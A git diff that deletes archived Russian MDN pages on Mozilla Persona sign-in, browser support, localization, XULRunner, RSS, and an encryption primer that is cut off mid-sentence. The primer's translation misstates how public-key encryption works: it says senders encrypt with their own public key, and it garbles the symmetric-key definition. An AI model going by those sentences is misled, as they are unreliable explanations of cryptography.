Службы</a>. Примерная реализация <code>/api/login</code>, с использованием <a href="http://python.org/">Питона</a>, веб-фреймворка <a href="http://flask.pocoo.org/">Flask</a>, и HTTP-библиотеки <a href="http://python-requests.org">Requests</a>, может выглядеть так:</p> -<pre class="brush: python;">@app.route('/api/login', methods=['POST']) -def login(): - # Запрос должен содержать заявку, которую нам нужно проверить - if 'assertion' not in request.form: - abort(400) - - # Отправляем заявку в службу проверки Mozilla. - data = {'assertion': request.form['assertion'], 'audience': 'https://example.com:443'} - resp = requests.post('https://verifier.login.persona.org/verify', data=data) - - # Получен ли от службы ответ? - if resp.ok: - # Разбираем ответ - verification_data = json.loads(resp.content) - - # Проверяем, верна ли заявка? - if verification_data['status'] == 'okay': - # Осуществляем вход пользователя, устанавливая защищённую куки сессии - session.update({'email': verification_data['email']}) - return resp.content - - # Что-то пошло не так! Отмена. - abort(500) -</pre> -<p>Управление сессиями, вероятно, очень похоже на систему авторизации, которую вы уже используете. Первое основное отличие при проверке идентификатора пользователя в том, что вместо проверки пароля происходит проверка заявки. Второе большое отличие – проверка того, что адрес электронной почты пользователя корректный, путём передачи его в качестве параметра <code>loggedInEmail</code> функции {{ domxref("navigator.id.watch()") }}.</p> -<p>Выход из системы прост: всё, что нужно – удалить куки сессии пользователя.</p> -<h2 id="Шаг_5_Обзор_лучших_примеров">Шаг 5: Обзор лучших примеров</h2> -<p>После того, как всё заработает и вы успешно сможете осуществлять вход и выход на своём сайте, вы можете уделить немного времени, чтобы ознакомиться с <a href="https://developer.mozilla.org/docs/BrowserID/Security_Considerations">лучшими примерами</a> безопасного и защищённого использования Persona.</p> -<p>Возможно, вы захотите написать интеграционные тесты, которые симулируют вход и выход пользователя используя BrowserID, если вы делает сайт, готовый к запуску. Чтобы облегчить этот процесс c Selenium, обратите внимание на библиотеку <a href="https://github.com/mozilla/bidpom" title="https://github.com/mozilla/bidpom">bidpom</a>. Так же может оказаться полезным сайт <a href="http://personatestuser.org" title="http://personatestuser.org">personatestuser.org</a>.</p> -<p>Ну и напоследок, не забудьте подписаться на рассылку <a href="https://mail.mozilla.org/listinfo/persona-notices">Заметки о Persona</a>, так вы всегда будете в курсе любых проблем безопасности, а также об обратно несовместимых изменениях в API Persona. Рассылка не будет обременять вас – она используется исключительно для объявлений изменений, которые могут неблагоприятно сказаться на вашем сайте.</p> -<p> </p> diff --git a/files/ru/archive/mozilla/persona/why_persona/index.html b/files/ru/archive/mozilla/persona/why_persona/index.html deleted file mode 100644 index 0dcbeef6db..0000000000 --- a/files/ru/archive/mozilla/persona/why_persona/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Почему Persona? -slug: Archive/Mozilla/Persona/Why_Persona -tags: - - Persona - - Введение - - Рекомендуемое -translation_of: Archive/Mozilla/Persona/Why_Persona ---- -<div dir="ltr" style="margin-left: 40px;"> - Persona – это свободно распространяемая, кросс-браузерная система идентификации, которая предлагает решение для традиционной модели хранения паролей. Она нацелена на устранение недостатков, досаждающих при использовании других систем хранения конфиденциальных данных, как, например, OpenID, без необходимости использования централизованной инфраструктуры, подобной Facebook Connect.</div> -<div dir="ltr" style="margin-left: 40px;"> - </div> -<div dir="ltr" style="margin-left: 40px;"> - <span lang="en"><span class="hps">Текущий подход к созданию и управлению пользовательских имён и паролей скучный, малоэффективный и небезопасный.</span><span class="hps"> Пользователи вынуждены придумывать и запоминать трудные пароли для каждого сайта или сервиса. На сайте же должны быть организованы безопасное шифрование и хранение паролей, чтобы предотвратить утечку важной информации.</span><span class="hps"> Предотвращение таких утечек – основная причина использования Persona, а гибкость её механизмов превосходит многие стандартные системы безопасной идентификации.</span></span></div> -<div dir="ltr" style="margin-left: 40px;"> - </div> -<div class="summary"> - <div dir="ltr" style="margin-left: 40px;"> - <strong>Примечание: более подробную информацию о Persona и её возможностях вы можете получить по ссылке <a href="https://support.mozilla.org/ru/kb/what-is-persona-and-how-does-it-work-ru">Что такое Persona и как она работает?</a>.</strong></div> -</div> -<h2 id="Persona_устраняет_необходимость_создавать_пароли_для_каждого_сайта">Persona устраняет необходимость создавать пароли для каждого сайта</h2> -<p style="margin-left: 40px;">Persona использует безопасную систему, построенную на основе передового шифрования общедоступных ключей, для авторизации на вебсайтах за пару щелчков мыши. Обозреватель пользователя создаёт зашифрованное подтверждение личности, которое теряет актуальность через несколько минут и действительно только для конкретного сайта. Пользователи могут не беспокоиться о том, что нужно запоминать несколько разных паролей, а также заботиться о безопасном доступе к свои паролям, если пароли не используются вообще. Быстрый и простой способ авторизации устраняет недостатки традиционной регистрации и позволяет пользователям легко заводить учётные записи на вебсайтах.</p> -<h2 id="Persona_использует_адрес_электронной_почты_в_качестве_идентификатора">Persona использует адрес электронной почты в качестве идентификатора</h2> -<div id="gt-src-tools"> - <div id="gt-src-tools-l"> - <div id="gt-input-tool" style="display: inline-block;"> - <div id="itamenu" style="margin-left: 40px;"> - Механизмы Persona полагаются на адрес электронной почты, и это их ключевая составляющая, потому как адресу электронной почты по своей природе присущи уникальность и приватность. Существующая в данный момент инфраструктура работает очень хорошо не только с точки зрения проектирования (разработки), но и с точки зрения идеальной системы открытого управления и передачи идентификаторов по Интернет.</div> - </div> - </div> -</div> -<h3 id="sect1"> </h3> -<h3 id="Выгода_для_пользователей"><span class="short_text" id="result_box" lang="en"><span class="hps">Выгода для пользователей</span></span></h3> -<ul style="margin-left: 40px;"> - <li>Пользователь уже знает адрес своей электронной почты. Ему не нужно знакомиться с новой и, возможно, непонятной системой, подобной OpenID.</li> - <li><span id="result_box" lang="en"><span class="hps">Адрес электронной почты отлично отражает идею <code>личность</code><span style="font-family: 'Courier New', 'Andale Mono', monospace;">@контекст</span>. Это позволяет пользователям легко разделять идентификаторы для работы (<span style="font-family: 'Courier New', 'Andale Mono', monospace;">@наработе</span>), дома (<span style="font-family: 'Courier New', 'Andale Mono', monospace;">@дома</span>), учёбы (<span style="font-family: 'Courier New', 'Andale Mono', monospace;">@вшколе</span>) и все прочие. Это так же отличается от тенденции связывать множество учётных записей с одним реальным идентификатором, которая диктуется политикой одной учётной записи в социальных сетях вроде Google+ или </span><span class="hps">Facebook.</span></span></li> - <li><span id="result_box" lang="en"><span class="hps">Электронный ящик может быть организован самостоятельно или получен от сторонних поставщиков (почтовых сервисов, <em>прим. переводчика</em>), предоставляя пользователям возможность распоряжаться своими идентификаторами самостоятельно. Такая возможность в значительной степени ограничена, когда приходиться объединять множество учётных записей с одним идентификатором.</span></span></li> -</ul> -<div class="almost_half_cell" id="gt-res-content"> - <h3 dir="ltr" id="Преимущества_для_разработчиков" style="zoom: 1;"><span class="short_text" id="result_box" lang="en"><span class="hps">Преимущества для разработчиков</span></span></h3> -</div> -<ul style="margin-left: 40px;"> - <li><span id="result_box" lang="en"><span class="hps">Адрес электронной почты позволяет разработчику связываться с пользователем напрямую.</span></span></li> - <li> - <div class="almost_half_cell" id="gt-res-content"> - <div dir="ltr" style="zoom: 1;"> - <span id="result_box" lang="es"><span id="result_box" lang="en"><span class="hps">Persona предоставляет вебсайту адрес электронной почты автоматически после авторизации пользователя, исключая необходимость дополнительных запросов после авторизации (в оригинале "форм", <em>прим. переводчика</em>).</span></span></span></div> - </div> - </li> - <li> - <div class="almost_half_cell" id="gt-res-content"> - <div dir="ltr" style="zoom: 1;"> - <span id="result_box" lang="es"><span id="result_box" lang="en"><span class="hps">Многие системы авторизации подразумевают уникальность адреса электронной почты, это не является исключительной особенностью Persona, что позволяет внедрять её в уже существующие системы доступа. Любой, у кого есть электронная почта, может получить доступ практически мгновенно.</span></span></span></div> - </div> - </li> -</ul> -<div class="almost_half_cell" id="gt-res-content"> - <h2 dir="ltr" id="Чем_отличается_Persona_от_других_подобных_систем_или_одиночной_учётной_записи" style="zoom: 1;"><span id="result_box" lang="es"><span class="hps"><span id="result_box" lang="en">Чем отличается <span class="hps">Persona</span> от других подобных систем или одиночной учётной записи?</span></span></span></h2> -</div> -<p style="margin-left: 40px;"><span id="result_box" lang="es"><span id="result_box" lang="en">Persona<span class="hps"> защищает частную собственность</span><span class="hps">, предоставляя пользователю выбор и возможность управления, чего не могут предоставить другие поставщики, это делает Persona очень привлекательной.</span><span class="hps"> Большинство социальных сетей, таких как Google+ или Facebook, требуют от пользователя указывать настоящее имя, принимать их политику, и ограничивают пользователя только одной учётной записью. </span>P<span class="hps">ersona позволяет пользователям разграничить их рабочие, школьные или социальные идентификаторы, используя адреса разных электронных ящиков вместо настоящего имени. Благодаря такой анонимности, вы получаете дополнительный пласт безопасности идентификаторов и сетевой защиты, который отсутствует в большинстве социальных сетей.</span></span></span></p> -<p style="margin-left: 40px;"><span lang="en"><span class="hps">Persona также открывает новый подход к защите пользовательских данных, делая браузер пользователя ключевым элементом в процессе авторизации</span><span class="hps">. Обозреватель получает данные о пользователе, предоставляемые его электронной почтой, а затем передаёт их вебсайту.</span> Поставщик электронной почты не может отслеживать пользователя, в тоже время сайты могут быть уверенны в идентификаторе пользователя, благодаря зашифрованному подтверждению данных. Многие другие системы, даже такие распределённые системы как OpenID, требуют чтобы сайт сначала был подключен к централизованной сети, прежде чем пользователь сможет осуществить вход.</span></p> -<p style="margin-left: 40px;">Возможности Persona позволяют разработчикам наладить тесную связь с пользователями. Mozilla занимает лидирующее место в области открытых, свободных сетевых технологий, и Persona, обладая простым в использовании интерфейсом и возможностями защиты пользователя, поддерживает философию Mozilla.</p> diff --git a/files/ru/archive/mozilla/persona/интернационализация/index.html b/files/ru/archive/mozilla/persona/интернационализация/index.html deleted file mode 100644 index b395445eaa..0000000000 --- a/files/ru/archive/mozilla/persona/интернационализация/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Интернационализация -slug: Archive/Mozilla/Persona/Интернационализация -tags: - - Интернационализация - - Локализация - - Перевод -translation_of: Archive/Mozilla/Persona/Internationalization ---- -<h2 id="What's_localized_in_Persona">What's localized in Persona</h2> -<p>In the future, the user interface for signing into sites with Persona will be directly integrated into the browser, and thus localized along with the browser's own localization. For browsers without integrated support, Persona's user interface consists of a series of dialogs served from <a href="https://login.persona.org" title="https://login.persona.org">login.persona.org</a>. These dialogs are translated by a team of community volunteers, and more than 45 locales are currently <a href="https://github.com/mozilla/browserid/blob/dev/config/l10n-prod.json" title="https://github.com/mozilla/browserid/blob/dev/config/l10n-prod.json">enabled in production</a>.</p> -<h2 id="How_Persona_chooses_localizations">How Persona chooses localizations</h2> -<p>The Persona service selects a language using the <code>Accept-Language</code> header sent alongside the browser's requests. The algorithm used to map an <code>Accept-Language</code> header to a language is the same as that used by <code>mozilla.org</code>:</p> -<ol> - <li>For each language tag in the <code>Accept-Language</code> header: - <ul> - <li>check if we have an exact match for the language identified by the language tag</li> - <li>check if we have an exact match for the language identified by the first part of the language tag</li> - </ul> - </li> - <li>If a match can't be made using rule (1), fall back to en-US. However, en or en-US is almost always the last accept-lang header sent by most browsers.</li> -</ol> -<p>For example, the table below lists the language selected for various <code>Accept-Language</code> headers, if the following locales were supported: <code>en-US, es, es-MX</code>:</p> -<table> - <thead> - <tr> - <th scope="col"><strong>Accept-Language Header</strong></th> - <th scope="col"><strong>Selected language</strong></th> - </tr> - </thead> - <tbody> - <tr> - <td><code>es-AR,es;q=0.8,en-us;q=0.5</code></td> - <td><code>es</code></td> - </tr> - <tr> - <td><code>es-MX,es;q=0.8,en-us;q=0.5</code></td> - <td><code>es-MX</code></td> - </tr> - <tr> - <td><code>e</code><code>s-es,en-us;q=0.5</code></td> - <td><code>en-US</code></td> - </tr> - <tr> - <td><code>e</code><code>s-es</code></td> - <td><code>en-US</code></td> - </tr> - </tbody> -</table> -<p>There is currently no way for a website to force the dialogs to appear in another language. This is because the Persona UI is logically (and in future native implementations will actually be) part of the browser UI, so its language should be consistent with the language selected for the browser.</p> -<h2 id="How_you_can_help">How you can help</h2> -<p>Persona uses Mozilla Verbatim to help volunteers create new translations. If you want to help out, read about <a href="https://developer.mozilla.org/en-US/docs/Localizing_with_Verbatim" title="https://developer.mozilla.org/en-US/docs/Localizing_with_Verbatim">getting started with Verbatim</a> and check out the <a href="https://localize.mozilla.org/projects/browserid/" title="https://localize.mozilla.org/projects/browserid/">"BrowserID" project</a> on Verbatim.</p> -<p> </p> diff --git a/files/ru/archive/mozilla/persona/поддержка_браузеров/index.html b/files/ru/archive/mozilla/persona/поддержка_браузеров/index.html deleted file mode 100644 index d2d36dcc23..0000000000 --- a/files/ru/archive/mozilla/persona/поддержка_браузеров/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Поддержка браузеров -slug: Archive/Mozilla/Persona/Поддержка_браузеров -translation_of: Archive/Mozilla/Persona/Browser_compatibility ---- -<h2 id="Поддерживаемые_браузеры">Поддерживаемые браузеры</h2> -<p>Persona разработана, протестирована и поддерживается нежеуказанными браузерами. Благодаря межплатформенной JavaScript библиотеке, пользователям не нужны никаки дополнения для работы с Persona.</p> -<table> - <tbody> - <tr> - <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;">Компьютер</th> - </tr> - <tr> - <th scope="row"><strong>Internet Explorer</strong></th> - <td colspan="2" rowspan="1" style="background-color: #8ae234;">8.0<sup>*</sup>, 9.0<sup>†</sup>, 10.0<sup>*</sup><sup>*</sup> (взгляните на <a href="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22" title="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22">Compatibility Mode</a>)</td> - </tr> - <tr> - <th scope="row"><strong>Firefox</strong></th> - <td colspan="2" style="background-color: #8ae234;">Текущий стабильный, Бета, Аврора и ночной релизы, а также Релиз с расширенной поддержкой<br> - Предыдущий стабильный релиз</td> - </tr> - <tr> - <th scope="row"><strong>Chrome</strong></th> - <td colspan="2" style="background-color: #8ae234;">Текущий стабильный релиз</td> - </tr> - <tr> - <th scope="row"><strong>Safari</strong></th> - <td colspan="2" style="background-color: #8ae234;">Текущий стабильный релиз</td> - </tr> - <tr> - <th scope="row"><strong>Opera</strong></th> - <td colspan="2" style="background-color: #8ae234;"><sup><span style="font-size: 14px;">Текущий стабильный релиз</span>‡</sup></td> - </tr> - <tr> - <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;"><strong>iOS Браузеры</strong></th> - </tr> - <tr> - <th scope="row"><strong>Mobile Safari</strong></th> - <td colspan="2" rowspan="1" style="background-color: #8ae234;">iOS 5.x — 6.x</td> - </tr> - <tr> - <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;"><strong>Android Браузеры</strong></th> - </tr> - <tr> - <th scope="row">Стандартный</th> - <td colspan="2" rowspan="1" style="background-color: #8ae234;">2.2 — 4.x</td> - </tr> - <tr> - <th scope="row"><strong>Firefox</strong></th> - <td colspan="2" style="background-color: #8ae234;">Текущий, Бета, Аврора и ночной релизы,<br> - Предыдущий стабильный релиз</td> - </tr> - <tr> - <th scope="row"><strong>Chrome</strong></th> - <td colspan="2" style="background-color: #8ae234;">Текущий стабильный релиз</td> - </tr> - </tbody> -</table> -<p><sup>*</sup>: Для Windows XP. <sup>†</sup>: Для Windows Vista и Windows 7. <sup>*</sup><sup>*</sup>Windows 8.<sup> </sup><sup>‡</sup>: Как показывает время.</p> -<h2 id="Неподдерживаемые_браузеры">Неподдерживаемые браузеры</h2> -<ul> - <li>Internet Explorer версий 6.0 и 7.0 не поддерживается. Пользователи будут предупреждены об этом. Также взгляните на <a href="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22" title="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22">IE "Compatibility Mode"</a>.</li> - <li>Google Chrome Frame не поддерживается. Поддержка может быть внедрена позже (<a href="https://github.com/mozilla/browserid/issues/796" title="https://github.com/mozilla/browserid/issues/796">Issue #796</a>).</li> - <li>Сторонние браузеры на iOS не поддерживаются. Поддержка может быть внедрена позже (<a href="https://github.com/mozilla/browserid/issues/2034" title="https://github.com/mozilla/browserid/issues/2034">Issue #2034</a>).</li> -</ul> -<h2 id="Internet_Explorer_Режим_совместимости">Internet Explorer "Режим совместимости"</h2> -<p>С версии 8.0 Internet Explorer включает в себя так называемый Режим Совместимости, когда идет эмуляция pre-8.0 версии при рендеринге страницы. Это видно по</p> -<ol> - <li>локальной настройке в браузере</li> - <li>наличию и значению <a href="https://developer.mozilla.org/docs/Quirks_Mode_and_Standards_Mode" title="https://developer.mozilla.org/docs/Quirks_Mode_and_Standards_Mode">DOCTYPE</a> элемента на странице</li> - <li>HTTP заголовку <a href="http://msdn.microsoft.com/library/cc288325%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/library/cc288325%28v=vs.85%29.aspx">"X-UA-Compatible"</a> от вашего сервера и/или <a href="https://developer.mozilla.org/docs/HTML/Element/meta" title="https://developer.mozilla.org/docs/HTML/Element/meta"><code><meta></code></a> тэгу на странице. Этот метод имеет наивысший приоритет.</li> -</ol> -<p>Because versions of Internet Explorer earlier than 8.0 are not supported by Persona, any version of Internet Explorer which is configured to emulate a pre-8.0 version will also not function with Persona. This is typically for one of the following reasons:</p> -<ul> - <li>your site is using "X-UA-Compatible" to explicitly instruct the browser to emulate a pre-8.0 version</li> - <li>your site's pages omit the DOCTYPE, do not have the DOCTYPE as the first line of the page, or set the browser to quirks mode, and your site is not setting "X-UA-Compatible" to IE version 8.0 or higher</li> - <li>the browser is locally configured to use a pre-8.0 Compatibility Mode, and your site is not overriding this by setting "X-UA-Compatible" to IE version 8.0 or higher</li> -</ul> -<p>For more information, see <a href="https://blogs.msdn.com/b/askie/archive/2009/03/23/understanding-compatibility-modes-in-internet-explorer-8.aspx?Redirected=true" title="https://blogs.msdn.com/b/askie/archive/2009/03/23/understanding-compatibility-modes-in-internet-explorer-8.aspx?Redirected=true">"Understanding Compatibility Modes in Internet Explorer 8"</a> and <a href="http://hsivonen.iki.fi/doctype/index.html#ie8" title="http://hsivonen.iki.fi/doctype/index.html#ie8">"IE8 and IE9 Complications"</a>.</p> -<h2 id="Другие_браузеры">Другие браузеры</h2> -<p>Despite not being explicitly supported, any browser that includes both {{ domxref("window.postMessage()") }} and {{ domxref("Storage", "localStorage") }} should work. These APIs have been available in all major browsers since March 2010.</p> -<h2 id="Известные_проблемы">Известные проблемы</h2> -<ul> - <li>Браузеры должны принимать cookies для полноценной функциональности (<a href="https://github.com/mozilla/browserid/issues/1352" title="https://github.com/mozilla/browserid/issues/1352">Issue #1352</a>).</li> - <li>Пользователи Android 2.x без установленного по умолчанию стандартного браузера не смогут войти (<a href="https://github.com/mozilla/browserid/issues/1854" title="https://github.com/mozilla/browserid/issues/1854">Issue #1854</a>).</li> -</ul> diff --git a/files/ru/archive/mozilla/xulrunner/index.html b/files/ru/archive/mozilla/xulrunner/index.html deleted file mode 100644 index 159f5361a4..0000000000 --- a/files/ru/archive/mozilla/xulrunner/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: XULRunner -slug: Archive/Mozilla/XULRunner -translation_of: Archive/Mozilla/XULRunner ---- -<div class="callout-box"> - <strong><a href="/en/Getting_started_with_XULRunner" title="en/Getting_started_with_XULRunner">Приступая к работе с XULRunner</a></strong><br> - Короткое введение в XULRunner.</div> -<div> - <strong>XULRunner</strong> это пакет среды исполнения Mozilla который может быть использован для загрузки XUL+XPCOM приложений которых множество для Firefox и Thunderbird. Это дает возможность использовать механизм для установки, обновления, и удаления этих приложений. XULRunner также предоставляет libxul, это решение которое позволяет встраивать технологии Mozilla в другие проекты и продукты.</div> -<table class="topicpage-table"> - <tbody> - <tr> - <td> - <h4 id="Releases" name="Releases">Выпуски</h4> - <div class="note"> - <p>XULRunner 1.9.1 has been released and can be <a class="external" href="http://releases.mozilla.org/pub/mozilla.org/xulrunner/releases/" title="http://releases.mozilla.org/pub/mozilla.org/xulrunner/releases/">downloaded from releases.mozilla.org</a>. Please read the <a class="internal" href="/en/XULRunner_1.9.1_Release_Notes" title="en/XULRunner 1.9.1 Release Notes">release notes</a> for installation, uninstallation, and other information.</p> - <p>Firefox 3 and later ships with a private XULRunner package, which can run any compatible XULRunner application using the <code>-app</code> switch.</p> - <p><a href="/en/XULRunner//Old_Releases" title="en/XULRunner//Old_Releases">Older builds</a> are also available.</p> - </div> - <h4 id="Overview" name="Overview">Обзор</h4> - <ul> - <li>{{ interwiki('wikimo', 'XULRunner:Roadmap', 'Development Roadmap') }}</li> - <li><a href="/en/XULRunner/What_XULRunner_Provides" title="en/XULRunner/What_XULRunner_Provides">What XULRunner Provides</a></li> - <li><a href="/en/XULRunner_FAQ" title="en/XULRunner_FAQ">XULRunner FAQ</a></li> - <li>Nightly builds: <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/nightly/latest-trunk/">1.9 branch</a></li> - </ul> - <h4 id="Documentation" name="Documentation">Документация</h4> - <dl> - <dt> - <a href="/Special:Tags?tag=XULRunner&language=en" title="Special:Tags?tag=XULRunner&language=en">View All...</a></dt> - </dl> - <dl> - <dt> - <a href="/en/Getting_started_with_XULRunner" title="en/Getting_started_with_XULRunner">Getting Started with XULRunner</a></dt> - <dd> - <small>Short tutorial on building desktop applications with XULRunner.</small></dd> - </dl> - <dl> - <dt> - <a class="external" href="http://zenit.senecac.on.ca/wiki/index.php/XULRunner_Guide">XULRunner Guide</a></dt> - <dd> - <small>A fairly complete introduction and tutorial for XULRunner which collates much of the documentation found here.</small></dd> - </dl> - <dl> - <dt> - <a class="external" href="http://blogs.acceleration.net/ryan/archive/2005/05/06/1073.aspx">A XULRunner Tutorial</a></dt> - <dd> - <small>A short introduction to XULRunner.</small></dd> - </dl> - <dl> - <dt> - <a href="/en/XULRunner_tips" title="en/XULRunner_tips">XULRunner tips</a></dt> - <dd> - <small>A collection of tips for working with XULRunner.</small></dd> - </dl> - <dl> - <dt> - <a href="/en/XULRunner/Deploying_XULRunner_1.8" title="en/XULRunner/Deploying_XULRunner_1.8">Deploying XULRunner</a></dt> - <dd> - <small>An introduction on how to package your application with XULRunner.</small></dd> - </dl> - <dl> - <dt> - <a href="/en/XULRunner_Hall_of_Fame" title="en/XULRunner_Hall_of_Fame">XULRunner Hall of Fame</a></dt> - <dd> - <small>Tracks all available applications based on XULRunner.</small></dd> - </dl> - <dl> - <dt> - <a href="/En/Developer_Guide/Build_Instructions" title="en/Build_Documentation">Build Documentation</a></dt> - <dd> - <small>Learn how to get the source and build it.</small></dd> - </dl> - <dl> - <dt> - <a href="/en/Debugging_a_XULRunner_Application" title="en/Debugging_a_XULRunner_Application">Debug Documentation</a></dt> - <dd> - <small>Steps to configure Venkman to debug your App</small></dd> - </dl> - </td> - <td> - <h4 id="Community" name="Community">Сообщество</h4> - <ul> - <li>View Mozilla forums...</li> - </ul> - <p>{{ DiscussionList("dev-platform", "mozilla.dev.platform") }}</p> - <ul> - <li><a class="link-irc" href="irc://irc.mozilla.org/#xulrunner">#xulrunner on irc.mozilla.org</a></li> - <li><a href="/en/XULRunner/Community" title="en/XULRunner/Community">Other community links...</a></li> - </ul> - <h4 id="Related_Topics" name="Related_Topics">Related Topics</h4> - <dl> - <dd> - <a href="/en/XUL" title="en/XUL">XUL</a></dd> - </dl> - </td> - </tr> - </tbody> -</table> -<p><span class="comment">Categories</span></p> -<p><span class="comment">Interwiki Language Links</span></p> -<p> </p> -<p>{{ languages( { "ca": "ca/XULRunner", "es": "es/XULRunner", "fr": "fr/XULRunner", "it": "it/XULRunner", "zh-cn": "cn/XULRunner", "ja": "ja/XULRunner", "pl": "pl/XULRunner", "ko": "ko/XULRunner" } ) }}</p> diff --git a/files/ru/archive/rss/index.html b/files/ru/archive/rss/index.html deleted file mode 100644 index 29b7dfad59..0000000000 --- a/files/ru/archive/rss/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: RSS -slug: Archive/RSS -tags: - - RDF - - RSS - - XML -translation_of: Archive/RSS ---- -<p><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Really Simple Syndication (RSS) is a popular HTML-like XML-based data format used for syndication.">Really Simple Syndication (RSS) является популярным HTML-подобным форматом описания данных, в основе которого лежит </span></span><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Really Simple Syndication (RSS) is a popular HTML-like XML-based data format used for syndication.">XML</span></span><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Really Simple Syndication (RSS) is a popular HTML-like XML-based data format used for syndication.">, используемый для </span></span>описания лент новостей, анонсов статей, блогов<span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="(Some being based on RDF, but most only being based on XML.) Nonetheless, RSS is an extremely popular format that is used for syndicating news, blog posts, IPradio, and IPTV, with an amazing amount of momentum.">, IPradio и IPTV</span></span><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Really Simple Syndication (RSS) is a popular HTML-like XML-based data format used for syndication.">. </span></span></p> -<p><span class="long_text"><span style="background-color: rgb(255, 255, 255);" title="Really Simple Syndication (RSS) is a popular HTML-like XML-based data format used for syndication.">Существует по крайней мере три различных расшифровки аббревиатуры RSS:</span></span></p> -<ul> - <li><strong>Rich Site Summary</strong> (RSS 0.9x) — <em>обогащённая сводка сайта</em>;</li> - <li><strong>RDF Site Summary</strong> (RSS 0.9 и 1.0) — <em>сводка сайта с применением инфраструктуры описания ресурсов</em>;</li> - <li><strong>Really Simple Syndication</strong> (RSS 2.x) — <em>очень простое приобретение информации</em>.</li> -</ul> diff --git a/files/ru/archive/security/encryption_and_decryption/index.html b/files/ru/archive/security/encryption_and_decryption/index.html deleted file mode 100644 index 07b799315b..0000000000 --- a/files/ru/archive/security/encryption_and_decryption/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Шифрование и Дешифрование -slug: Archive/Security/Encryption_and_Decryption -tags: - - Crypting - - Security -translation_of: Archive/Security/Encryption_and_Decryption ---- -<p><span class="seoSummary">Шифрование - процесс трансформации информации в формат не понятный никому кроме получателя. Дешифрование - процесс трансформации зашифрованой информации в понятный формат. Криптографический алгоритм называют шифром - это математическая функция, успользуемая для шифрование и дешифрование данных</span>. В большинстве случаев используется не одна функция, а две взаимосвязанные: одна для шифрования, другая для дешифрования.</p> - -<p>With most modern cryptography, the ability to keep encrypted information secret is based not on the cryptographic algorithm, which is widely known, but on a number called a key that must be used with the algorithm to produce an encrypted result or to decrypt previously encrypted information. Decryption with the correct key is simple. Decryption without the correct key is very difficult, and in some cases impossible for all practical purposes.</p> - -<p>The sections that follow introduce the use of keys for encryption and decryption.</p> - -<ul> - <li><a href="#Симметрический ключ шифрования">Симметрический ключ шифрования</a></li> - <li><a href="#Публичный ключ шифрования">Публичный ключ шифрования</a></li> - <li><a href="#Длина ключа и Прочность шифрования">Длина ключа и Прочность шифрования</a></li> -</ul> - -<h3 id="Symmetric-Key_Encryption" name="Symmetric-Key_Encryption"><a id="Симметрический ключ шифрования" name="Симметрический ключ шифрования">Симметрический ключ шифрования</a></h3> - -<p>При использовании симметрических ключей ключ шифрования можно вычислить на основе ключа шифрования и наоборот. В большинстве случаев, симметрические алгоритмы применяют один и тот-же ключ для шифрования и дешифрования как показано на Рис.1 . </p> - -<p><img alt="Figure 1. Symmetric-Key Encryption" class="internal" src="https://mdn.mozillademos.org/files/10303/05scrypt2.png" style="height: 125px; width: 443px;" title="Рис.1"></p> - -<p>Реализации симметричных шифров могут быть высокопроизводительными, не создавая особых задержек во время шифрования и дешифрования. Symmetric-key encryption also provides a degree of authentication, since information encrypted with one symmetric key cannot be decrypted with any other symmetric key. Thus, as long as the symmetric key is kept secret by the two parties using it to encrypt communications, each party can be sure that it is communicating with the other as long as the decrypted messages continue to make sense.</p> - -<p>Symmetric-key encryption is effective only if the symmetric key is kept secret by the two parties involved. If anyone else discovers the key, it affects both confidentiality and authentication. A person with an unauthorized symmetric key not only can decrypt messages sent with that key, but can encrypt new messages and send them as if they came from one of the two parties who were originally using the key.</p> - -<p>Symmetric-key encryption plays an important role in the SSL protocol, which is widely used for authentication, tamper detection, and encryption over TCP/IP networks. SSL also uses techniques of public-key encryption, which is described in the next section.</p> - -<h3 id="Public-Key_Encryption" name="Public-Key_Encryption"><a id="Публичный ключ шифрования" name="Публичный ключ шифрования"></a>Публичный ключ шифрования</h3> - -<p>The most commonly used implementations of public-key encryption are based on algorithms patented by RSA Data Security. Therefore, this section describes the RSA approach to public-key encryption.</p> - -<p>Шифрование с публичным ключом (ассиметричное шифрование) состоит из двух ключей: публичный и приватный, находящийся у лица, которое должно пройти аутентификацию,подписать или зашифровать информацию. Каждый публичный ключ опубликован, а приватные должны оставаться секретными. Информация зашифровывается вашим публичным ключом, а расшифровывается только вашим приватным ключом. Рис.2 показывает как работают алгоритмы с публичным ключом шифрования.</p> - -<p><img alt="Figure 2. Public-Key Encryption" class="internal" src="https://mdn.mozillademos.org/files/15760/06pcrypt-corrected.png" style="height: 125px; width: 443px;" title="Рис.2"></p> - -<p>Этот метод позволяет свободно распространять публичный ключ, при этом только вы сможете расшифровать данные. Чтобы отправить кому-то зашифрованные данны вы зашифровываете их своим публичным ключом осылаете получателю, он же расшифровывает их соответствующим приватным ключом.</p> - -<p>Compared with symmetric-key encryption, public-key encryption requires more computation and is therefore not always appropriate for large amounts of data. However, it's possible to use public-key encryption to send a symmetric key, which can then be used to encrypt additional data. This is the approach used by the SSL protocol.</p> - -<p>As it happens, the reverse of the scheme shown in Figure 2 also works: data encrypted with your private key can be decrypted only with your public key. This would not be a desirable way to encrypt sensitive data, however, because it means that anyone with your public key, which is by definition published, could decrypt the data. Nevertheless, private-key encryption is useful, because it means you can use your private key to sign data with your digital signature-an important requirement for electronic commerce and other commercial applications of cryptography. Client software such as Firefox can then use your public key to confirm that the message was signed with your private key and 